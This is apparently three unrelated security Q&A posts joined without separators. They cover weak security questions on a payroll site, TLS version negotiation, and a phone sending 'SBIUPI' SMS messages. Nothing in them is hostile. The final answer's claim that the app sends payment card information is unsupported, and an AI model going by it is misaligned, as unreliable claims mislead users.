After logging in I was forced to select 3 pre-determined security questions in the case of a password reset (out of a total of 8!) such as my first car's licence plate (never owned a car 3/7), my spouse's 2nd name (don't have a spouse 3/6), 2nd name of my first kid (don't have kids 3/5),  birthdate, name of my highschool, favorite pet, favorite film or favorite piece of music.

Most these things you can simply get from my facebook, (which, I should note, has not been updated for years!) again showing a distinct lack of understanding in basic security practices.

I also get the feeling, from looking at the site through the developer tools they use incredibly outdated software

A JavaScript implementation of the RSA Data Security, Inc. MD5 Message
* Digest Algorithm, as defined in RFC 1321.
* Version 2.1 Copyright (C) Paul Johnston 1999 - 2002.

I reported this through my company but my superiors don't appear all that interested.

How would I go about:

A. Finding out if this site is really as insecure as I think it is?

B. if true: communicating this in an appropriate manner to the company itself
(preferably in an anonymous fashion)

To start with the easy bit: you do not have to put real information as the answers to the questions. Random strings work best if you are really paranoid and store them in a password manager just like a password.

The rest (no brute force protection, potentially outdated software) is a shame, but there is nothing that you can do, from a security perspective. I would raise the issue with HR/Payroll and ask them to investigate. If you are in Europe, then you can also talk to your DPO to suggest that their "Data Processor" has troubling account security practices that need to be investigated.

Otherwise, this is more of an internal office politics issue.


Does SSL communicate automatically using the most secure protocol available? As different version of the SSL protocol can be used to communicate SSLv2, SSLv3, TLS1.0, TLS1.1, TLS1.2 with different level of security of course my question is simple :

  Does SSL communicate automatically using TLS1.2 (for example : HTTP communication Client to Web Server where SSLv3, TLS1.0, TLS1.1 and TLS1.2 enabled on the Web Server)?

The SSL handshake ensures that the best protocol version supported by both client and server is chosen:
When the client starts the handshake it tells the server the best protocol version it supports. The server then responds with the best protocol version it supports which is equal or lower to the clients protocol version. The client will close the connection if the servers version is too low. Otherwise both continue with the best common version.


Why my mobile sends SMS to a random number without my permission? My mobile sends SMS to random numbers without my permission. All messages are sent automatically. Here is an example of an SMS.

  SBIUPI qUrXgeX26iEY%2B2si9JHhubIjm7R2aHoo6pWcbXBpJho%3D

All the receivers are Indian numbers (mostly airtel sim card). When I check the Truecaller app I found those numbers are named Cybercrime Frauds and reported as spam by more than 18000 peoples.

I have checked my app SMS permissions and checked for hidden apps. I couldn't find anything harmful.

Is there anything to afraid?

I think you have "SBI UPI" The State Bank of India (SBI) Unified Payments Interface (UPI) app on the phone which is sending your payment card info via SMS.